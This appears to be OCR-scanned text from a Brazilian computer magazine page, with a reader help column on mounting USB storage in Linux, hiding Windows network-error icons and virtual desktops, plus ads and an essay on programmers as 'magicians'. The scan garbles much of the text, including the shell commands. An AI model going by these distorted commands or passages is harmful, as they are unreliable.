escue). Caso tal opgao exista,

AnAnlhea 9 racma aorare atd o
AR A Ll T TSP P \J'[JF'I.JIU L W

acesse a um prompt de comandos
s8/a disponibilizady e execule &
instalagdo do GRUB coma indicado
anteriormente, ou sefa, através do
cormando grub-nstall

(6]
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Aproveite este espacgo e esclarega suas

Por Rodrigo Galan - relpline

Storage USB no Linux
Tenho um dispositivo de
armazanamento exlermno que e
conectado na porta USB. Nao Windows
¥P simplesmeants conecto o
equipamenta no computador para que
ele seja reconhecide automaticamente,
No Linux issc néo acontece, O gue &
preciso fazer no Linux para gue esse
perilérice seja reconhecido no sisterna?
Gabriel Moraes
Via Internet

Esse tipo de armazenarmenio &
nommakmente reconlkcido peia
sisterna Linux, No Windows XF a

Jpuropanel.com 8]

Mensagem de erro
Sempre que desconecto o cabo
de rede ou desligo o roteador, 0
computadar mostra Uma mensagem
de erro infarmando que o cabo da
rede estd desconectado. Como
posso desabililar essa opgac?
Matheus Garcia
Via Internet

Acesse o sistema como
administrador. Em seguida, cligue nu
botdo Iniciar e no menu suspenso
escolha Propriedades. Na janela

R s s (1 1)

duvidas sobre Linux, Windows e informalica em geral

eslas opgoes encontradas nesse
ment, voce affera 0 camportamento
da fcone na barra de tarefas, incluindo
as mensagens de ero, Para
desabilila-lo, escolha & opgédo Sempre
Ocultar, Assim, todas as mensagens
desses icones sefdn desativadas.

Desktop Virtual

Faz pouco lempo gue comecsi &
usar o Linux & exisle Uma opcaoc nos
Gerenciadores de Janelas que nao
existe no Windows, que sao as
chamadas Telas Virtuais. Existe algum
programa que faz a mesma
fungdo para o Windows?

opGao de storage j4 esta B Gonesct | 80 e 9 S | 6 Hothona | 75 Sicky | T Mouno | | Alissa Moraes
habilitada, diferente do Linux, que o T e e e B R | Via Internat
precisa iniciar manualmente. Para ¢ m M|
Is50, 05 comandos & segulr | s recirsos de telas vinuals
gevern ser execuladus nos Select shint [Delaut =l 880 exclusivos do gerenciador de
sistemas Linux que estdo cam b i faneias, e ndo do sisterna, No
suparte LISH habiltadn Windows, existe um programa gue
faz a mesma fungdo, chamado
# modprobe ush-storage Cool Desk. Faca o dawnload no
# modprobe usb-uhel Oy vel Dloticns s | site (www shelitays. com). Para
I e — L i mstalar o programa, ¢ mufto
Cumn us modulos carregados, T simples, Cligue no botdo Next ern
monte com o seguinte comando: Fote | e | | todas as fanelds ale concluir a
fistalaggo. Com o programa

Bl e

i P - e gl P PR |
I

# mount -t viat Jdev/sda
Note gue a monlagen 8 parecida
vormn & te uima particéo. Depols de
montadlo, acesse o diratario fmnt. Sa
desear saher a capacidade do
ispasitivo, digite 0 comando:

#df-h
E na linha de comando /devisdal

vacé encontra as infarmacoes sohre o
hardware utilizado.

36  PCMaster

Propriedades, cfigue na aba Barra de
tarefas Nessa categonsa, vocé
encontra a opgao Coultar icones
inativos. Se estiver desabilitada, ative-a
marcanuu & caixa de sefegao. Ao lado
wessa opgao, vocé encontra o botao
Personalizar. Clique para abrir Lima
nova janela. Nessa janela, lncalize
itern Conexdao Local Ao lado dessa
opcdo, vocd encontra uma fista de
opcdes em um menu suspensu. Com

poasui tela virtual similar a do Linux

instalado, cligue no ment! Iniciar,
Programas, Conl Desk e, e
seguina, Cool Desk novamente. Para
altorar as telas vinuals dentro do
Windows, pressitrie as leclas CTAL -
SHIFT + n® (1-8) simultaneaments
Por padraa, sao habilitacdas 1rés telas
virtais, mas as opeoes podem ser
reconfiguradas. Para alterar, cligue
com o botdo direlto do mouse no
lcone do prograrma que fica proximo
a0 refdgiv do Windows e em seguida
escolha Settings. PCM
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Médulo Duplo Vertical — 5,8cm x 7,8cm

Maodulo Especial —.12cm x 7,8cm
Maodulo Simples — 5,8cm x 3,7cm

Madulo Duplo Horizontal — 12cm x 3,7cm

Méodulo Triplo Horizontal — 18cm x 3,7¢m

Anuncie “ Shopping e tenha seu produto ou servigo
visto por mais de 60.000 leitores!

Ligue: 3038-5094 - Vinicius
(011) 3038-5090 - Nickolas

Solucdes em Rede,
Hardware,

Banco de Dados e
Websites.

- Redes Locais
- Redes Remotas
- SOL e Oracle
~ Desenvolvimento de
Sites e Portais
- Manutencdo e Assessoria
~ Chamadas Rvulsas e Coniratos

Tel/Fax: (11) 5090-0420
Email:infotech@infotech-br.com.br
www.infotech-br.com.br

METHODOS E SISTEMAS DE INFORMA(}AO
COMERCIO E ASSISTENCIA TECNICA
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A ldgica da feiticaria

Para que se veja a quantidade de suor Que escorre por Iras de cada mégica

Por Leandro Calgada

ilhares de anos de

avolucan passoal e

tecnolagica nao mudaram

um fato. A humanidade
alnda acredita em maagica. A
evolugdo das cidnoias e da
tecnologia, aparentementea
antagonicas da magia e do
sobrenatural, nao so tol Intcapaz de
eliminar a magia como a fortaleceu,
Pense no computador, por exemplo.
Se ha algo que aprand sobre as
pessoas nestes meus 11 anos de
informatica foi gue o computador &,
e sempra tol visto, coma uma
especie de caixa magica. Ao
programador, conseqguentements,
coube o papsl de mago,

E facil perceber por que isso
acontece. O computador, como
fnda tecnologia complexa,
depende de uma grande
quantidade de conhecimenlo, €
poucas pessoas estao dispuslas a
adguiri-lo, A primeira vista, pode
parecer uma espécie de estupidez
coletiva ou decadéncia
cientifica, mas nao &, O fato
¢ que o computador néo é a
unica tecnclogia gus
exisle, nerm a dnica area
do conhecimenta a ser
explorada Ha muito para
ser aprendido, muito a
se conhecer. & no fim
cadd grupe profissional
fica com a sua cota
cde especialistas, todos
carentes e indignados
pela fala de
atenGao que
mundo da a sua

area de interesse preferida,

Aos programadores nao se
reserva uma sina diferente. Nao ha
més sem que algum colega de
trabalho passe pela minha mesa o
comente, Incrédulo, sobre a minha
incrivel capacidade de entender esse
monte de lexto grege gue se espalha
na minha tela, @ como nao esquego
este monte de palavras e regras
estranhas. Sinto-me tan especial que
meau ego nem cabe na sala, O fato
de que o autor do alogio entends &
faz coisas gue nao conhego nem sou
capaz de compreender nao importa.
Eu sou o magico. |sso sem lalar nos

pobres gregos que, de tao
inteligentes, nem precisam estudar .
para aprender A falar.. grego.

Mas & claro que essa caricla no
ego tem o seu prego. E dificil dar
valor & um babalho guando as
pessoas nao véem nele senao uma
extensio natural da sua habilidade
“Lle tem dom pra 850", dizem, como
5@ 350 cxplicasse tudo, & esparam
gue a solugo para todos us
problemas brote de nussos dedos
Imdgicos, como se programadores
fossern alguma classe especial de
seres humanos projetada para lidar
com computadores, Nestas
condigbes, precisar de tempo padra
o trabalho @ um luxe, & cobrar por ele
wnlao, uma verdadeira heresia

36 que essa injustica nao &
exclusividade dos programadores.

Humanos mistificam tudo o que
ndo entendem e, por tabsla,

todos gue lrabalham com o gue
nao se entende, Mossos
mecanicos encontram defeitos

nos Caros com um simples e
rapido olhar, enguanto madicos
nos curam no primeiro diagnostico
e padrairae levantam paredes
inteiras sem gualguer sinal de
cansago. Secretamente
invejamos saus poderes
magicos, sua capacidade
sobrenatural, seus
trabalhos perleilos, sem
) perceber o suor sob o
pedreiro, 0s Mmanuails na
mesa do mecanico, ou 0s
livros na estante do meédico.
Se ales nao aprenderam 4
programar, cartarments
deviam estar ocupados
corm alguma outra
coisa. PCM
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